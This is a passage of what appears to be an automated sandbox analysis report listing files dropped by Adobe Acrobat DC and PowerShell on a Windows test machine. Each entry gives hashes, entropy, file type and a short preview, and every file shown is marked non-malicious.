SHA1:	1C9B1E9E3DB0BE12BD8DA16E9C263307E0F7F73F
SHA-256:	1D59F64E57DEE234251C40A5A289A66A160EBF168C586D717B405036F0D2BBFA
SHA-512:	4A5F9D6AF33CBD881DC26C101C078F7D46F95CD46D263C35D694329F4DF74D86FA71BAD72FBDB1361B839573AD24AD15CD37ACD7E860337A21527EAA20859946
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.266774282549479
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJf21rPeUkwRe9:YvXKXuV2BMyYpW7XOG+16Ukee9
MD5:	EF69B1FBA065AAD66F21EE9EBBA9B927
SHA1:	1C7CAEB5752E2B5C9C9D1A16EF4C6AC94134131D
SHA-256:	7E733F05DEE3694A65119B3CC9CCE97211FBF7687E8DE9B756E0B19104290821
SHA-512:	33C9EF8A5E671DAAE7CD4AA1187517B24588EB79F73C1C8247F553EBD3D98E67254F79DDB8CACCD1E35F9D9B2E70C8D9C04083EF34648071C3167FD167220C7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663302846974534
Encrypted:	false
SSDEEP:	24:Yv6XuVmwiramXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSn:YvH07BgkDMUJUAh8cvMn
MD5:	8AA057AB306C7DCAA15C08C599ECE553
SHA1:	BD813B4DA4F57BE0581E43206B5FAA8AC1B60B62
SHA-256:	4B958070EA01F09E3DC60676C3AF26A228430B425C8D49F72AA6E198432FB413
SHA-512:	F35C87BF486BD7FF4A79A46BD9143685C08AE65C3A464482450C496FC34EE1762832E6992E647AD4069E49D1A4CA7FC8A9B926E0F13B8BC3C877DB2DA2E78D3F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.241920872994796
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJfshHHrPeUkwRe9:YvXKXuV2BMyYpW7XOGUUUkee9
MD5:	AEA3195F985F8B59C41418D9F4BA0A08
SHA1:	8F333D08A53453540FACD668729DCA5849E39B1E
SHA-256:	68FE4AA5D8ABB0007DAE0B5C5860DE026875771F4B6FF295B29282EDD888598A
SHA-512:	178C83D8564B3DFAEDBEA6439024EFD9FE4DDA2C0507780348C32A6904D58AF4F974F889774AC0364050F6E4CB9C265D5D830097FEF53B44CA806FD2268EBFE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.254902791211008
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWV26OM7+FIbRI6XVW7+0YIxoAvJTqgFCrPeUkwRe9:YvXKXuV2BMyYpW7XOGTq16Ukee9
MD5:	E889DABD5144155D319BCCC1B244C196
SHA1:	88539B1460CBB3CE74BDBAE436DD5825BC93C633
SHA-256:	1BA75AD0459944998B0758FF3DD76C6D94606362DE18B7DD163CA49AE1B40E8C
SHA-512:	5E930067D55ACB5AB4557ACCA40A690EA153D9729EE65AD772B49DE35C9C8E5766AC4D6B674B6400B671A07B675AFE3ACFE6E2D4BF977577DC2F224161E09E4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83c97505-ee39-482d-b676-e2fa721db013","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741377454,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.128098200428414
Encrypted:	false
SSDEEP:	24:Y8nBNE3aemHayUm045Qh/gHa1503Wg7lNjb//j0STtRz2o4Bi2LS9CZDxkJix8IY:YivyfJgHa1OmIDbj9tW4TckJQzuHh9l
MD5:	77C84B95F2FDCDBDE0D0D07E2FDDFD1A
SHA1:	DA1791117E9A743C2B6AE5CBED28E02E283C1FDD
SHA-256:	9F2CB6B11C098CE29764ACDA859EE943E5B9A4DBE614022DFB2706460CCCF1F0
SHA-512:	2E009D2FDD23FB57345EE5B6425DC050490CE9287FE90057C9E31FA0F10C16144D9D5745AFE5B00F63BDB8B504718C9CA11AD50D1AE0993E43679F5BAC11B090
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e973cfd7bdd5bd2138792b214d44b252","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736565577000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"23713e46a1018632223c182ece13eccf","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736565577000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c08bb07ab5c128c51d28748f9f7a0dc4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736565577000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cf016481231632c33556eb0d1cfac864","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736565577000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ff19490e173f68365cb119ce2b4b6417","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736565577000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e150ef6ef7f1aa39e308d209762bb9da","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9846760913069335
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpZ+M3L4zJwtNBwtNbRZ6bRZ4g+M3LF:TVl2GL7ms6ggOVpZ+bzutYtp6Pb+E
MD5:	07EC01B1B5B517FB02BB3984771E958B
SHA1:	4A83D44B56C0E37439276AEB8145EDEEC57EFD7C
SHA-256:	53BF7712ACD67B22E82D24653EA656147DD99F2BC3B514B66985C998279BEC4A
SHA-512:	FBE0FC58AC25EFF56D90C283E45EA54C1264776C30F1D93872AB86E2392448AB7494F12B235A0F11B36B9C643F3BD152F287F914464E6BBE406315AD92880071
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3383588899995154
Encrypted:	false
SSDEEP:	24:7+tJnAD1RZKHs/Ds/SpZ+M3LPzJwtNBwtNbRZ6bRZWf1RZK7qLBx/XYKQvGJF7uA:7MFGgOVpZ+kzutYtp6PMuqll2GL7msx
MD5:	607693CDF42EA2614479C4159168B427
SHA1:	EA8A5C245157E83C3BBB480D87756AE4C62A7834
SHA-256:	745B46702D1D5AD3D54E2504FEBD1CB266713023E066364E088E2807347AA2F4
SHA-512:	F737E38B2B8100FCD9C741334743886425E1D67AA8B14B1B5C856F844E4209570E13E5ED7FC80FC00D58A1D7421FBB13E7D21144CA37C1FDA9C46D63E6F2563B
Malicious:	false
Preview:	.... .c......`s.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgOmaDhWurPC+l6YmRuXr0YjG70UYyu:6a6TZ44ADEOmd+0Ymg4YjGYUK
MD5:	A2A223FBEBBE86BCE0ACBAEAC03771A9
SHA1:	798F1461433ECE0B9E76FB69070BC27174132383
SHA-256:	B94E485DC6B4AD0F237A37CBB8429BC27EAFD21250E8F60DB6E52DDAC1C87C06
SHA-512:	EA11F3192CB789C1488B7E5F52154F3F8FA48A6A5BB72A0BA7654267301568FD1F1539490742C142FB682B656391819F4171B8AECBCB6319D0ABD86A095A4159
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIbaa03.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5178552411299933
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClWlhwle:Qw946cPbiOxDlbYnuRK+brhww
MD5:	4638586E5D8DC147F39C04F491C81143
SHA1:	45CDE5F7027C7D556985B4855F070B66BD5DAD3E
SHA-256:	8DDF5D6624F1C8B7CD9FE549C04A13238C5F6EAAB37B1233CBB0D4EED89C8AE8
SHA-512:	AD943D295C958ED273F094DEA2463748EB54AE9A36EB4950917352AC8603CAD7E4D1107C88CD498795509C612AF3224EB3C8DCDD51C0DA042E3A3F877A6FD005
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.1.9.:.3.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3dd2rzep.411.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_spveq30n.hi1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-19-30-366.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.385591808922802
Encrypted:	false
SSDEEP:	384:xnLWL7QKQOKsK1fKhKfvNhrti3V/6aRioLC+xQKFKGqQEArG40K4h1uEFwmE5EF4:zfODCfa0K3
MD5:	95E0026F56DB1B1BE89B18A5F059D41F
SHA1:	E7F5583E23A4A79704CF93713941BAE366A0BCED
SHA-256:	0052F3B5C91A75979F303A11D89C79ECC0422C7F6FA126EFCCDE00BFEFBDB1F1
SHA-512:	A63EFF882E9FC6D7ECD9B5CB74F221D92A35DF50E3AE3131450219D3765F08BD54105B9B5306B4C423363D5139ACA78A784C33EE78E7697E3474FAE464E3DE0D
Malicious:	false
Preview:	SessionID=2ba1579d-3ef6-4bad-839a-8f19c2b48983.1736565570387 Timestamp=2025-01-10T22:19:30:387-0500 ThreadID=7532 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2ba1579d-3ef6-4bad-839a-8f19c2b48983.1736565570387 Timestamp=2025-01-10T22:19:30:390-0500 ThreadID=7532 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2ba1579d-3ef6-4bad-839a-8f19c2b48983.1736565570387 Timestamp=2025-01-10T22:19:30:390-0500 ThreadID=7532 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2ba1579d-3ef6-4bad-839a-8f19c2b48983.1736565570387 Timestamp=2025-01-10T22:19:30:390-0500 ThreadID=7532 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2ba1579d-3ef6-4bad-839a-8f19c2b48983.1736565570387 Timestamp=2025-01-10T22:19:30:390-0500 ThreadID=7532 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3976452912474695
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbg:fsF
MD5:	C40AC60E2385D7344B47C41F68734174
SHA1:	F199A0878BF19E9178CE11401209DE139658A7F2
SHA-256:	F847640A234B98D63427CE414B5BFBB884A101ED60957F99AE958A87F04A4C4F
SHA-512:	6B48961B6364BC1B6D155CA4B573166D3E6E82EC9F0673DCFC27D2B4CB70F9FD8B36D96785CD576EC11F65DD5F2107A3992C46AF4F3292806ECEA6BB4C5DEFE0
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\132dc932-dc07-4272-b212-7e821ca68391.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/bwYIGNP4mOWL07oYGZ2dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:DwZG6bWLxYGZ23mlind9i4ufFXpAXkru
MD5:	C66F3438AACC722C36853CD127856900
SHA1:	CBCE30D3B2282602F2A9160E23814F0FEC80D116
SHA-256:	4712DDB9412256C47A3701A235A6681AD8E6F2D49F3C157ED0565FE0D0869C07
SHA-512:	6C97A8C05A02F34519BAD8FD8CA88A4734FC75FE8E958FDA29B7885BD24E39F84B3CC7A92ABC936B518501E9B649BD4B951797B1E596AB6A9CE25DFFE21B70E4
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\232699d7-2a12-458e-8e10-df8056ec2589.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:+Jgdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WL07oYGZswYIGNPJF:+23mlind9i4ufFXpAXkrfUs0jWLxYGZG
MD5:	CB4212F82F4A436C365F687E77C7E08C
SHA1:	568C4D6BACF14FE79F66080C2839266C2DAA19FD
SHA-256:	4C5DA46EA6907BE0CE1B076EDEACC4F51802A156BB8FE6527A0267E673954C6F
SHA-512:	B96E8E4AF77F928BEE109275A7B723F4FC01C882E591A5465129FEAE8FE1A60BDA2FFE7FFBA3934B5013BD57837355544F6369427FBFF53DD4615E921D6B812E
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6744419b-3e23-47e5-acfd-df68d4722191.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
